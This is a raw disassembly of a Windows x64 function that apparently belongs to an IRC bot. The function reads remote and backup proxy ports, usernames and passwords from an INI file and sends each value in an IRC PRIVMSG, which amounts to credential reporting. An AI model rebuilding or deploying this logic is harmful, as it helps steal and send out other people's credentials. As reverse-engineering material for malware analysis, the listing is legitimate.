test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.RemotePort
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:23.RemotePort__NONE_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x1400223f9
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:23.RemotePort___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.RemoteUserName
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:24.RemoteUserName__NONE_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x1400224bd
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:24.RemoteUserName___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.RemotePassword
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:25.RemotePassword__NONE_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140022581
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:25.RemotePassword___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.BackUPProxy
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.BackUPProxy__NONE_r_n
lea rcx, [rsp + 0x150]
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x14002263a
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea r9, [rsp + 0x40]
lea r8, str.BackUPProxy___s_r_n
lea rcx, [rsp + 0x150]
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.BackUPPort
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.BackUPPort__NONE_r_n
lea rcx, [rsp + 0x150]
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x1400226f3
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea r9, [rsp + 0x40]
lea r8, str.BackUPPort___s_r_n
lea rcx, [rsp + 0x150]
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.BackUPUserName
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.BackUPUserName__NONE_r_n
lea rcx, [rsp + 0x150]
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x1400227ac
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea r9, [rsp + 0x40]
lea r8, str.BackUPUserName___s_r_n
lea rcx, [rsp + 0x150]
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.BackUPPassword
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.BackUPPassword__NONE_r_n_r_n
lea rcx, [rsp + 0x150]
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140022865
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea r9, [rsp + 0x40]
lea r8, str.BackUPPassword___s_r_n_r_n
lea rcx, [rsp + 0x150]
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
jne 0x14002287d
xor eax, eax
jmp 0x14002288d
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov rbp, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x2b0
pop rdi
pop rsi
pop rbx
ret